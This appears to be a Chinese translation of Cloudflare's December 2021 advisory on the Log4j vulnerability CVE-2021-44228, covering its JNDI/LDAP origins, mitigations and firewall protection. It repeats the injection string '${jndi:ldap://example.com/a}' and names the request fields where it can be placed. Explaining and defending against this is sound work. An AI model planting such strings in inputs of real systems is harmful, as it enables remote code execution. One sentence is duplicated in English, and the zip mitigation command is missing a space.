昨天,也就是 2021 年 12 月 9 日,公開了基於 Java 的熱門記錄套件 Log4j 中的一個嚴重漏洞。該漏洞允許攻擊者在遠端伺服器上執行代碼,即所謂的遠端代碼執行 (RCE)。由於 Java 和 Log4j 的廣泛使用,這可能是自 HeartbleedShellShock 出現以來,網際網路上最嚴重的漏洞之一。

該漏洞編號為 CVE-2021-44228,影響 2.0-beta-9 和 2.14.1 之間的 Log4j v2 版本。該漏洞在 2.15.0 中已修復。

在本貼文中,我們解釋了該漏洞的歷程記錄、其引入過程以及 Cloudflare 如何保護我們的客戶。有關我們的防火牆服務封鎖的實際漏洞利用嘗試的詳細資料,將在單獨的部落格文章中進行闡述。

Cloudflare 也使用一些基於 Java 的軟體,我們的團隊已竭誠努力,確保我們的系統不會容易受到攻擊或緩解該漏洞。與此同時,我們推出防火牆規則來保護我們的客戶。

但是,如果您就職的公司使用基於 Java 的軟體,且該軟體使用 Log4j,您應當立即閱讀區塊「如何緩解和保護您的系統」,之後再來閱讀其他部份。

如何緩解 CVE-2021-44228

如要緩解,可使用以下選項(在此處參閱 Apache 的建議):

1. 升級至 Log4j v2.15.0

2. 如果您正在使用 Log4j v2.10 或以上版本,且無法升級,則設定屬性:

log4j2.formatMsgNoLookups=true

此外,可以為這些相同受影響版本設定環境變數:

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

3. 或從類別路徑中移除 JndiLookup 類別。例如,您可以執行類似下面的命令

zip -q -d log4j-core-*.jarorg/apache/logging/log4j/core/lookup/JndiLookup.class
,從 log4j-core 中移除類別。

漏洞歷程記錄

2013 年,在版本 2.0-beta9 中,Log4j 套件在問題 LOG4J2-313 中新增了「JNDILookup 外掛程式」。要理解該變更如何導致了問題,則有必要稍加瞭解 JNDI:Java 命名和目錄介面。

JNDI 自 20 世紀 90 年代後期就存在於 Java 中。這是一種目錄服務,允許 Java 程式透過目錄查找資料(以 Java 物件的格式)。JNDI 有一些服務提供者介面 (SPI),支援其使用大量目錄服務。

例如,CORBA COS(公用物件服務)、Java RMI(遠端方法介面)登錄和 LDAP 存在 SPI。LDAP(輕量型目錄存取通訊協定)是非常熱門的目錄服務,也是 CVE-2021-44228 的主要焦點(儘管也有可能使用其他 SPI)。

Java 程式可能結合使用 JNDI 和 LDAP 來查找包含所需資料的 Java 物件。例如,在標準 Java 文件中,有一個與 LDAP 伺服器交談來從物件擷取屬性的範例。它使用 URL ldap://localhost:389/o=JNDITutorial 從在相同電腦(本機主機)的連接埠 389 上執行的 LDAP 伺服器中查找 JNDITutorial 物件,並繼續從中讀取屬性。

正如教程所說,「如果您的 LDAP 伺服器位於另一電腦上或使用另一連接埠,則需要編輯 LDAP URL」。因此,LDAP 伺服器可以在其他電腦上執行,且有可能在網際網路上的任何位置。這種靈活性意味著,如果攻擊者可以控制 LDAP URL,他們就能夠讓 Java 程式從受其控制的伺服器載入物件。

這是 JNDI 和 LDAP 的基礎,是 Java 生態系統一個很有用的部份。

但在 Log4j 的情況中,攻擊者可以透過使 Log4j 嘗試寫入類似 ${jndi:ldap://example.com/a} 的字串來控制 LDAP URL。如果發生此情況,則 Log4j 將連線至位於 example.com 的伺服器並擷取物件。

這是因為 Log4j 包含 特殊語法,格式為 ${prefix:name},其中 prefix 是其他 Lookups 的一個數字,而 name 應進行求值。例如,${java:version} 是目前執行的 Java 版本。

LOG4J2-313 新增了一下如下所示的jndi Lookup:「JndiLookup 允許透過 JNDI 擷取變數。依預設,將向金鑰新增首碼 java:comp/env/,然而,如果金鑰包含「:」,則不會新增首碼。」

當金鑰中存在 : 時,就如 ${jndi:ldap://example.com/a} 中一樣,沒有首碼,且會向 LDAP 伺服器查詢該物件。這些 Lookups 既可在 Log4j 的設定中使用,也可在記錄行時使用。

因此,攻擊者只需要找到會被記錄的一些輸入,並新增類似 ${jndi:ldap://example.com/a} 的內容即可。這些輸入可能是 User-Agent 之類的常見 HTTP 標頭(通常會被記錄),或可能是 username 之類的表單參數(也可能被記錄)。

這在使用 Log4j 且基於 Java 的網際網路對向軟體中可能十分常見。而更加嚴重的是,使用 Java 的非網際網路對向軟體也可能被利用,因為資料會從系統傳遞到系統。

例如,一個包含漏洞的 User-Agent 字串可能會被傳遞到以 Java 編寫的後端系統,該系統進行索引或資料科學,則漏洞可能被記錄。這就是為什麼使用 Log4j v2 的所有基於 Java 的軟體立即修補或套用緩解措施十分重要。即使網際網路對向軟體未以 Java 編寫,字串也可能傳遞到以 Java 編寫的其他系統,從而導致發生漏洞利用。

Even if the Internet-facing software is not written in Java it is possible that strings get passed to other systems that are in Java allowing the exploit to happen.

或者想像一個基於 Java 的計費系統,會在未找到客戶的名字時進行記錄。惡意使用者可能會建立一個包含名字的訂單,其中包含漏洞,該漏洞可能需要多個躍點(和大量時間)才能從 Web 伺服器經由客戶資料庫進入最終執行的計費系統。

且 Java 用於許多系統,遠遠不只是網際網路對向的系統。例如,不難想像一個掃描盒子上 QR 代碼的套件處理系統,或者一個非接觸式門金鑰,如果它們都用 Java 編寫且使用 Log4j, 則都容易受到攻擊。比如說,一個精心製作的 QR 代碼可能包含郵寄地址,其中包含漏洞字串;再比如說,精心編製的門金鑰可能包含漏洞並被追蹤進出的系統記錄。

執行定期工作的系統可能會撿到漏洞並在之後記錄。因此,該漏洞可能會休眠,直到以 Java 編寫的一些索引、彙總或封存程序不經意間記錄惡意字串。這可能是在幾小時甚至幾天後。

Cloudflare 防火牆保護

Cloudflare 使用防火牆規則為我們的客戶提供保護,這些規則在 HTTP 請求中的常見位置封鎖 jndi Lookup。這在此處進行了詳細介紹。隨著攻擊者修改他們的漏洞,我們已持續優化這些規則,這一過程仍將繼續。